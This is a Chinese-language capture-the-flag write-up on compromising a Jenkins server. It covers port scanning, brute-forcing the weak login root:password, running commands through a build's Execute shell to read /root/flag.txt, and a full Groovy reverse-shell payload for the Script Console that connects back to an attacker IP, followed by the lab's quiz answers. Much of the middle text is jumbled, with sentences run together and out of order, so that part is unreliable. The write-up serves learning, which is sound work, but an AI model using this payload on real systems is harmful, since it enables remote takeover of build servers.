本次通过分析 jenkins 组件学习渗透测试流程,最终通过代码执行漏洞拿到 shell
日常扫描,nmap -sV -v
,发现开放 8080 端口
Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
持续集成:简单来说,有时候做项目,各个模块单独测试时都是能用的,但是上线前将所有模块集成到一起之后跑不通了,此时修改就为时晚矣,所以在模块开发时,就尽早将模块整合,持续不断的集成新模块进行测试,尽早发现问题,这是开发过程中项目管理所提倡的一种方法实践
正常开发人员提交代码后要经历-> 检出(从代码库下载代码到本地)-> 打包 ->部署 几个步骤,而有了集成工具,只需要提交,剩下的都可以交由 Jenkins
帮我们去做,直接就能在服务器看到修改
在网上能搜索到很多 Jenkins
(Jenkins-w3cschool) 的公开漏洞,但是我们并不清楚该应用具体的版本信息,如果要有该应用所有的漏洞的一键综合利用工具就好了,可惜没找到
我个人是十分讨厌弱口令这个东西的,只看管理员的安全意识,回报率低
暴破后,根据 Length
排序,账号密码为 root:password
右下角可以看到版本为 2.289.1
,首先可以熟悉一下它的功能,由于英语实在不好,装了 chrome
,翻译方便一点
我们在此阶段的目的是了解应用程序有哪些接口,哪里能控制输入,输入如何处理,结果如何输出…毕竟很大一部分漏洞都是由于不安全的输入引起的,我们关注的重点也是能否利用,而不是真的精通软件的使用
说明文档:https://www.jenkins.io/doc/book/using/
搜索公开的漏洞复现也是比较省力的利用方式 cve搜索 ,并不是特别全
在 msf
中有 13 条相关脚本 search jenkins
也可以在搜索引擎搜索 jenkins
漏洞并尝试复现
我们的目的是能访问目标主机的 flag
,当然不是所有的漏洞都适合这个场景,比取消项目构建,触发LDAP
查询,用户枚举等等,比较合适的就是文件包含&命令执行&代码执行漏洞,最好是直接获取shell
的那种,而且有的漏洞没有分析没有利用方式或工具,别说没工具就算有工具都不一定会用,更大可能连是什么漏洞都看不懂…
当然,本次不会尝试去复现漏洞
search
搜索功能 :一般是接收参数拼接 sql
语句,进行数据库查询,并将结果返回到前端页面,在 pikachu
靶场接触过,因为是在前端页面显示,所以也可以测试 xss
导航条第二个就是用户管理功能
摘自阮一峰博客: CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。 CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机 不仅可以限制各种资源如 改名字的地方,名字这种信息应该会在数据库存储,然后在前端页面显示,也是涉及到 描述就不说了,和刚才一样 这个令牌的作用是调用 下面的几个就不介绍了,看过了几个模模糊糊有一些套路了,感觉这个功能没什么值得看,当然这种东西都是靠个人水平的,有什么我也看不出来 SSH 密钥登录分为以下的步骤 预备步骤,客户端通过 ssh-keygen 生成自己的公钥和私钥 第一步,手动将客户端的公钥放入远程服务器的指定位置 第二步,客户端向服务器发起 SSH 登录的请求 同样的,我们点击主页面 在左下角 Master/Slave相当于Server和agent的概念。Master提供web接口让用户来管理job和slave,job可以运行在master本机或者被分配到slave上运行。一个master可以关联多个slave用来为不同的job或相同的job的不同配置来服务 其它的暂时没什么了,看不懂高级用法 在 我们到根目录下查看,怎么改自己研究吧,很简单,点点就行 我们在攻击机使用 在靶场脚本控制台执行,获得了 不知道为什么是这样没有前面的类似的盘符路径什么的,但是也不影响 在上面的 Server 端 Listen 监听某个端口是否有连接请求 Client 端向 Server 端发出连接请求 Server 端向 Client 端发回 Accept 接受消息 这样一个连接就建立起来了 Server 端和 Client 端都可以通过 Send,Write 等方法与对方通信 所以才可以实现命令与结果的互相传递吧 创建 Socket 打开连接到 Socket 的输入输出出流 按照一定的协议对 Socket 进行读/写操作 关闭 Socketstatus
:显示用户角色 ID,还可以添加描述,描述的数据会输出到页面,xss
,但是并没有弹窗啊,我们翻阅说明文档,发现它使用了 Content Security Policy(CSP)
内容安全策略,这是专门为了防止 XSS
注入的,没有看到响应头或 meta
标签有相应设置,看源码是符号被转义了
js
脚本、图片等的加载,也可以限制 url
的引用,当然,CSP
也不是万能的,可以在某些情况下被绕过,如 我的CSP绕过思路及总结-先知社区姓名配置
build
选项应该是先在其他地方配置之后才能在这里操作 ,先略过 ,看configure
sql
、 xss
这两个漏洞api令牌
jenkins
的 api
令牌api
时方便身份验证的,如果使用账号密码被认为是不安全的,这些令牌的生成过程中我们能替换吗?身份认证相关的功能存在越权的可能比较大吧ssh公钥
ssh
公钥主要是免密登录使用,和api
令牌同样是为了安全与方便
build
my views
和主界面差不多,先前在翻阅资料时,都会提到构建 build
功能,我们点进去 Groovy Script
,有一个 workspace
文件夹,这个文件夹就是存放项目代码的New item
新建一个项目,输入名字,选择项目类型,随便选第一个自由风格项目,确认General
部分是项目的基本配置Source Code Management
是源代码管理,这种直接执行代码的环境感觉非常不安全,应该是都在沙箱环境,但是也有绕过的一些情况Build Triggers
构建触发器,意思是在什么条件触发构建任务,比如提供一个接口远程构建,或者定时构建,或者代码更改时构建等等Build Enviroment
构建环境,一些配置选项,比如每次构建删除旧代码等Build
,Execute shell
就是执行 shell
命令,我们可以尝试写一个 whoami
执行Post-build Actions
就是构建后的操作,比如生成报告Build Now
然后乱点一通,在点进像是太阳图标的东西后,发现 shell
命令的输出结果node
Build Executor Status
有一个构建执行器动态,这是 jenkins
的架构方式
master
一般就是 jenkins
的服务器,里面有一个 Script Console
脚本控制台功能,可以写 groovy
脚本命令执行
Execute shell
处添加命令查看 flag
,ls -a
ls -a
.
..
cd /root
ls -a
cat flag.txt
代码执行与反弹shell
反弹shell
groovy
是一种 java
扩展语言,java
我们大致了解过皮毛,可以在idea新建项目,经过简单调整格式,本地测试可以运行,String cmd
是 shell
模式,在 win
下是 cmd.exe
,在linux
下是/bin/bash
String host="10.10.16.6";
int port=8000;
String cmd="cmd.exe";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
nc
监听端口,等待目标机器建立连接获取 shell
,这个是说将目标机器的执行结果发送到攻击机上shell
关于payload
payload
中使用了 socket
连接,所谓socket
连接,是指网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket
答案
Common Vulnerabilities and Exposures
confidentiality, integrity, availability
Jetty 9.4.39.v20210325
2.289.1
Groovy
cmd.exe
ifconfig
-u
reverse shell